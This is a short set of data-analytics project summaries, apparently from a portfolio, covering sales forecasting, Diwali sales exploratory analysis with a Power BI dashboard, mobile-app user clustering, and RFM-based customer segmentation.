Sales Prediction using Python project focused on forecasting future sales using factors like advertising spend, target audience, and platform performance. Includes data cleaning, transformation, feature selection, and regression/time-series modeling to uncover insights that guide effective marketing strategies.

Diwali Sales Data Analysis using Python & Power BI. Cleaned dataset (11k+ rows), performed EDA on customer spending by age, gender, state, occupation & product category. Built interactive Power BI dashboard with KPIs & insights for targeted marketing.

This project performs user behavior segmentation for a mobile app using Python and data analytics techniques. The goal is to cluster users based on activity patterns, engagement, and demographics, enabling targeted marketing and personalized user strategies.

CartIQ is a data analytics project using RFM modeling and clustering to segment customers into VIP, Loyal, At-Risk, and Lost. Built with Python, Pandas, and Scikit-learn during an internship at Tavant Technologies, it delivers insights for targeted marketing and customer retention.